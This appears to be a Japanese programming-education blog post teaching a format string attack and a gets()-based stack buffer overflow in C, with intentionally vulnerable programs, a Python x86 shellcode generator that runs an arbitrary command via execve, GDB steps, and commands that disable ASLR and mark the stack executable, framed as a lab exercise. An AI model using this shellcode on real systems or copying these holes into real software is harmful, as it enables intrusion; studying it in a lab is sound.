C言語でサイバー攻撃を教えて!
こういった悩みにお答えします.
本記事の信頼性
- リアルタイムシステムの研究歴12年.
- 東大教員の時に,英語でOS(Linuxカーネル)の授業.
- 2012年9月~2013年8月にアメリカのノースカロライナ大学チャペルヒル校(UNC)コンピュータサイエンス学部で客員研究員として勤務.C言語でリアルタイムLinuxの研究開発.
- プログラミング歴15年以上,習得している言語: C/C++,Python,Solidity/Vyper,Java,Ruby,Go,Rust,D,HTML/CSS/JS/PHP,MATLAB,Assembler (x64,ARM).
- 東大教員の時に,C++言語で開発した「LLVMコンパイラの拡張」,C言語で開発した独自のリアルタイムOS「Mcube Kernel」をGitHubにオープンソースとして公開.
- 2020年1月~現在はアメリカのノースカロライナ州チャペルヒルにあるGuarantee Happiness LLCのCTOとしてECサイト開発やWeb/SNSマーケティングの業務.2022年6月~現在はアメリカのノースカロライナ州チャペルヒルにあるJapanese Tar Heel, Inc.のCEO兼CTO.
- 最近は自然言語処理AIとイーサリアムに関する有益な情報発信に従事.
- (AI全般を含む)自然言語処理AIの論文の日本語訳や,AIチャットボット(ChatGPT,Auto-GPT,Gemini(旧Bard)など)の記事を50本以上執筆.アメリカのサンフランシスコ(広義のシリコンバレー)の会社でプロンプトエンジニア・マネージャー・Quality Assurance(QA)の業務委託の経験あり.
- (スマートコントラクトのプログラミングを含む)イーサリアムや仮想通貨全般の記事を200本以上執筆.イギリスのロンドンの会社で仮想通貨の英語の記事を日本語に翻訳する業務委託の経験あり.
こういった私から学べます.
C言語を独学で習得することは難しいです.
私にC言語の無料相談をしたいあなたは,公式LINE「ChishiroのC言語」の友だち追加をお願い致します.
私のキャパシティもあり,一定数に達したら終了しますので,今すぐ追加しましょう!
独学が難しいあなたは,元東大教員がおすすめするC言語を学べるオンラインプログラミングスクール5社で自分に合うスクールを見つけましょう.後悔はさせません!
目次
【C言語】サイバー攻撃
C言語でサイバー攻撃を紹介します.
ここで,サイバー攻撃とは,コンピュータを対象とした攻撃のことです.
具体的には以下のサイバー攻撃を解説します.
- 書式文字列攻撃
- インジェクション攻撃
サイバー攻撃の実行環境の注意事項とセットアップ
本記事では,Ubuntu 22.04 LTSでサイバー攻撃を試します.
注意事項は以下になります.
- 実運用環境では本記事の設定を実行してはいけないこと
- 仮想マシン環境のような外部からのアクセスをホストOSで遮断できて,データが壊れても良い環境で実行すること
- 本教材の実行を行うと以下の機能が無効化されること(セキュリティのリスクが発生)
- Exec Shield:特定のメモリ領域から命令を実行できないようにするLinuxの機能
- Address Space Layout Randomization(ASLR):アドレス空間の配置のランダム化
以上の注意点を考慮してサイバー攻撃を試したいあなたは,以下のパッケージをインストールして実行環境をセットアップします.
1 |
$ sudo apt-get install lib32gcc-12-dev libc6-dev-i386 execstack |
また,本記事ではGDBを利用します.
まずはGDBを知りたいあなたはこちらからどうぞ.
C言語でprintf関数を利用した書式文字列攻撃
C言語でprintf関数を利用した書式文字列攻撃を紹介します.
書式文字列攻撃とは,printf関数などの書式指定のあるC言語の関数で,ユーザが入力した文字列をそのまま書式文字列として利用する場合に発生する攻撃のことです.
悪意のあるユーザーが%sや%xといった書式トークンを使い,スタックやその他のメモリ位置の内容をデータとして出力させることができます.
また,%nを利用して任意のアドレス位置に任意のデータを書き込ませたりすることもできます.
書式文字列攻撃のコード一式はこちらからダウンロードして下さい.
中身は以下になります.
- Makefile:ビルド構成ファイル
- format_string_attack.c:書式文字列攻撃のコード
format_string_attack.cの中身は以下になります.
passwordの中身"12345678"が見られたくないことを想定しています.
※もちろんこのようなパスワードはつけてはいけませんが...
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
/* * Author: Hiroyuki Chishiro * License: 2-Clause BSD */ #include <stdio.h> #include <stdlib.h> #include <string.h> int main(int argc, char *argv[]) { char password[] = {"12345678"}; if (argc != 2) { fprintf(stderr, "Usage: %s string\n", argv[0]); exit(1); } printf(argv[1]); return 0; } |
実行結果は以下になります.
ASCIIコードの"12345678"に該当する値「31,32,33,34,35,36,37,38」が表示できていることがわかります.
リトルエンディアンなので少しわかりにくいですが,「31fbea2c_35343332_00383736」の箇所です.
passwordの文字列はスタック上にあるので,「%08x」を利用することでスタックの中身を表示できてしまいます.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
$ make gcc -Wall -g -ggdb -m32 -fno-stack-protector -c -o format_string_attack.o format_string_attack.c format_string_attack.c: In function 'main': format_string_attack.c:18:3: warning: format not a string literal and no format arguments [-Wformat-security] 18 | printf(argv[1]); | ^~~~~~ format_string_attack.c:11:8: warning: unused variable 'password' [-Wunused-variable] 11 | char password[] = {"12345678"}; | ^~~~~~~~ gcc -o format_string_attack format_string_attack.c -Wall -g -ggdb -m32 -fno-stack-protector format_string_attack.c: In function 'main': format_string_attack.c:18:3: warning: format not a string literal and no format arguments [-Wformat-security] 18 | printf(argv[1]); | ^~~~~~ format_string_attack.c:11:8: warning: unused variable 'password' [-Wunused-variable] 11 | char password[] = {"12345678"}; | ^~~~~~~~ sudo sysctl -w kernel.randomize_va_space=0 kernel.randomize_va_space = 0 execstack -s format_string_attack $ ./format_string_attack $(python3 -c 'print("%08x_"*10)') f7fd6f10_f7d8f4be_565561d4_ffffcbf0_31fbea2c_35343332_00383736_ffffcbe0_f7f9d000_f7ffd020_% |
C言語でgets関数を利用したインジェクション攻撃
C言語でgets関数を利用したインジェクション攻撃を紹介します.
インジェクション攻撃とは,プログラムが無効なデータを処理した場合に出現するバグを,攻撃者が悪用し不正な命令を実行する攻撃手法のことです.
インジェクション攻撃の例として,本記事ではコードインジェクションを紹介します.
コードインジェクションは,攻撃者が脆弱なプログラムにコードを挿入し,実行の経過を変化させるために使用されます.
コードインジェクションが成功すると,コンピュータウイルスやコンピュータワームの増殖を許すなど,悲惨な結果になることがあります.
コードインジェクションのコード一式はこちらからダウンロードして下さい.
中身は以下になります.
- Makefile:ビルド構成ファイル
- code_injection.c:コードインジェクションのコード
- gen_shell_code.py:シェルコード生成スクリプト
code_injection.c,gen_shell_code.pyの中身は以下になります.
code_injection.cのauthenticate関数でgets関数を呼び出すことでバッファオーバーフローを発生させ,コードインジェクションを実行します.
また,gen_shell_code.pyではインジェクション攻撃用のシェルコードを生成します.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 |
/* * Author: Hiroyuki Chishiro * License: 2-Clause BSD */ #include <stdio.h> #include <string.h> #define BUFSIZE 12 int authenticate(void) { char password[BUFSIZE]; gets(password); if (!strcmp(password, "password")) { return 1; } return 0; } int main(void) { int status; puts("Password>"); status = authenticate(); if (!status) { puts("Access denied"); return 1; } else { puts("Access granted"); } return 0; } |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 |
#!/usr/bin/env python3 # -*- coding: utf-8 -*- # # Author: Hiroyuki Chishiro # License: 2-Clause BSD # import sys def main(): args = sys.argv if len(args) != 4: print("Usage:", args[0], "[frame address] [cmd_path] [binary file]") sys.exit(1) frame_addr = args[1] cmd_path = args[2] binary_file = args[3] print("FRAME_ADDR = ", frame_addr, file=sys.stderr) print("cmd_path = ", cmd_path, file=sys.stderr) shell_code = int(frame_addr, 16) zero_data = shell_code + 31 cmd = zero_data + 4 ptr_to_zero = zero_data - 4 with open(binary_file, "wb") as bfile: for i in range(24): bfile.write(bytes([0x33])) # padding bfile.write(shell_code.to_bytes(4, sys.byteorder)) # return address of frame bfile.write(bytes([0x31, 0xc0])) # xor %eax, %eax bfile.write(bytes([0xa3])) # mov %eax, ZERODATA bfile.write(zero_data.to_bytes(4, sys.byteorder)) bfile.write(bytes([0xb0, 0x0b])) # mov $0xb, %al ; execve bfile.write(bytes([0xbb])) # mov CMD, %ebx bfile.write(cmd.to_bytes(4, sys.byteorder)) bfile.write(bytes([0xb9])) # mov PTR_TO_ZERO, %ecx bfile.write(ptr_to_zero.to_bytes(4, sys.byteorder)) bfile.write(bytes([0x8b, 0x15])) # mov ZERO_DATA, %ecx bfile.write(zero_data.to_bytes(4, sys.byteorder)) bfile.write(bytes([0xcd, 0x80])) # int $80 bfile.write(zero_data.to_bytes(4, sys.byteorder)) # PTR to ZERO_DATA bfile.write(bytes([0x55, 0x55, 0x55, 0x55])) # DUMMY (ZERO_DATA) bfile.write(cmd_path.encode()) bfile.write(bytes([0x0a])) # '\n' if __name__ == "__main__": main() |
gets関数を知りたいあなたはこちらからどうぞ.
step
1コードインジェクションのコード一式をダウンロードしてビルド
コードインジェクションのコード一式をビルドします.
gets関数を利用するので警告が発生しています.
sudoコマンドを実行するのであなたのパスワードを入力します.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
$ tar zxvf code_injection.tar.gz $ cd code_injection $ make gcc -Wall -g -ggdb -m32 -fno-stack-protector -c -o code_injection.o code_injection.c code_injection.c: In function 'authenticate': code_injection.c:14:3: warning: implicit declaration of function 'gets'; did you mean 'fgets'? [-Wimplicit-function-declaration] 14 | gets(password); | ^~~~ | fgets gcc -o code_injection code_injection.c -Wall -g -ggdb -m32 -fno-stack-protector code_injection.c: In function 'authenticate': code_injection.c:14:3: warning: implicit declaration of function 'gets'; did you mean 'fgets'? [-Wimplicit-function-declaration] 14 | gets(password); | ^~~~ | fgets /usr/bin/ld: /tmp/ccUFghqv.o: in function `authenticate': /home/chishiro/c-language/injection_attack/code_injection/code_injection.c:14: warning: the `gets' function is dangerous and should not be used. sudo sysctl -w kernel.randomize_va_space=0 kernel.randomize_va_space = 0 execstack -s code_injection |
step
2GDBでフレームのアドレスを算出
GDBでフレームのアドレスを算出します.
以下の手順でコマンドを実行して下さい.
※実行毎にプロセスIDが変わるので注意して下さい.
45行目の「Stack level 5, frame at 0xffffcbb0:」のフレームアドレス「0xffffcbb0」を利用します.(実行環境によってフレームアドレスの値が異なる可能性があります.)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 |
$ ./code_injection& Password> [1] 5742 [1] + suspended (tty input) ./code_injection $ sudo gdb -p 5742 GNU gdb (Ubuntu 12.0.90-0ubuntu1) 12.0.90 Copyright (C) 2022 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "x86_64-linux-gnu". Type "show configuration" for configuration details. For bug reporting instructions, please see: <https://www.gnu.org/software/gdb/bugs/>. Find the GDB manual and other documentation resources online at: <http://www.gnu.org/software/gdb/documentation/>. For help, type "help". Type "apropos word" to search for commands related to "word". Attaching to process 5742 Reading symbols from /home/chishiro/c-language/injection_attack/code_injection/code_injection... Reading symbols from /lib32/libc.so.6... (No debugging symbols found in /lib32/libc.so.6) Reading symbols from /lib/ld-linux.so.2... (No debugging symbols found in /lib/ld-linux.so.2) [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". Program received signal SIGTTIN, Stopped (tty input). 0xf7fc4549 in __kernel_vsyscall () (gdb) where #0 0xf7fc4549 in __kernel_vsyscall () #1 0xf7e804f7 in read () from /lib32/libc.so.6 #2 0xf7df5cf6 in _IO_file_underflow () from /lib32/libc.so.6 #3 0xf7df6ea0 in _IO_default_uflow () from /lib32/libc.so.6 #4 0xf7de9efe in gets () from /lib32/libc.so.6 #5 0x565561db in authenticate () at code_injection.c:14 #6 0x5655623d in main () at code_injection.c:27 (gdb) frame 5 #5 0x565561db in authenticate () at code_injection.c:14 14 gets(password); (gdb) info frame Stack level 5, frame at 0xffffcbb0: eip = 0x565561db in authenticate (code_injection.c:14); saved eip = 0x5655623d called by frame at 0xffffcbe0, caller of frame at 0xffffcb80 source language c. Arglist at 0xffffcba8, args: Locals at 0xffffcba8, Previous frame's sp is 0xffffcbb0 Saved registers: ebx at 0xffffcba4, ebp at 0xffffcba8, eip at 0xffffcbac (gdb) quit |
step
3シェルコードの生成
シェルコードの生成を以下のように行います.
ここで,ffffcbb0はフレームアドレスです.(0xは抜いています.)
1 2 3 |
$ gen_shell_code.py ffffcbb0 /usr/bin/lscpu lscpu.bin FRAME_ADDR = ffffcbb0 cmd_path = /usr/bin/lscpu |
シェルコードの16進ダンプを確認します.
3行目の「00000010: 3333 3333 3333 3333 b0cb ffff 31c0 a3cf」の「b0cb ffff」がフレームアドレス「0xffffcbb0」になります.
※Intel CPUはリトルエンディアンなのでバイトオーダーが逆になっています.
1 2 3 4 5 6 |
$ xxd lscpu.bin 00000000: 3333 3333 3333 3333 3333 3333 3333 3333 3333333333333333 00000010: 3333 3333 3333 3333 b0cb ffff 31c0 a3cf 33333333....1... 00000020: cbff ffb0 0bbb d3cb ffff b9cb cbff ff8b ................ 00000030: 15cf cbff ffcd 80cf cbff ff55 5555 552f ...........UUUU/ 00000040: 7573 722f 6269 6e2f 6c73 6370 750a usr/bin/lscpu. |
step
3コードインジェクションの再現
コードインジェクションの再現を行います.
まずは正常な利用例を実行します.
1 2 3 |
$ echo password | ./code_injection Password> Access granted |
次に巧妙に加工された文字列を挿入してコードインジェクションを再現します.
CPU情報を表示するlscpuコマンドが実行されたことがわかります.
※CPU情報は実行するPC環境で変わります.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 |
$ ./code_injection < lscpu.bin Password> Architecture: x86_64 CPU op-mode(s): 32-bit, 64-bit Address sizes: 43 bits physical, 48 bits virtual Byte Order: Little Endian CPU(s): 16 On-line CPU(s) list: 0-15 Vendor ID: GenuineIntel Model name: Intel(R) Core(TM) i9-9980HK CPU @ 2.40GHz CPU family: 6 Model: 158 Thread(s) per core: 1 Core(s) per socket: 16 Socket(s): 1 Stepping: 13 BogoMIPS: 4800.01 Flags: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflus h mmx fxsr sse sse2 ss ht syscall nx pdpe1gb rdtscp lm constant_tsc arch_perfm on nopl xtopology tsc_reliable nonstop_tsc cpuid tsc_known_freq pni pclmulqdq ssse3 fma cx16 pcid sse4_1 sse4_2 x2apic movbe popcnt tsc_deadline_timer aes x save avx f16c rdrand hypervisor lahf_lm abm 3dnowprefetch cpuid_fault invpcid_ single ssbd ibrs ibpb stibp ibrs_enhanced fsgsbase tsc_adjust bmi1 avx2 smep b mi2 invpcid mpx rdseed adx smap clflushopt xsaveopt xsavec xsaves arat md_clea r flush_l1d arch_capabilities Virtualization features: Hypervisor vendor: VMware Virtualization type: full Caches (sum of all): L1d: 32 KiB (1 instance) L1i: 32 KiB (1 instance) L2: 256 KiB (1 instance) L3: 16 MiB (1 instance) NUMA: NUMA node(s): 1 NUMA node0 CPU(s): 0-15 Vulnerabilities: Itlb multihit: KVM: Mitigation: VMX unsupported L1tf: Not affected Mds: Not affected Meltdown: Not affected Mmio stale data: Vulnerable: Clear CPU buffers attempted, no microcode; SMT Host state unknown Retbleed: Mitigation; Enhanced IBRS Spec store bypass: Mitigation; Speculative Store Bypass disabled via prctl and seccomp Spectre v1: Mitigation; usercopy/swapgs barriers and __user pointer sanitization Spectre v2: Mitigation; Enhanced IBRS, IBPB conditional, RSB filling Srbds: Unknown: Dependent on hypervisor status Tsx async abort: Not affected |
まとめ
C言語でサイバー攻撃を紹介しました.
具体的には,書式文字列攻撃とインジェクション攻撃を解説しました.
C言語を独学で習得することは難しいです.
私にC言語の無料相談をしたいあなたは,公式LINE「ChishiroのC言語」の友だち追加をお願い致します.
私のキャパシティもあり,一定数に達したら終了しますので,今すぐ追加しましょう!
独学が難しいあなたは,元東大教員がおすすめするC言語を学べるオンラインプログラミングスクール5社で自分に合うスクールを見つけましょう.後悔はさせません!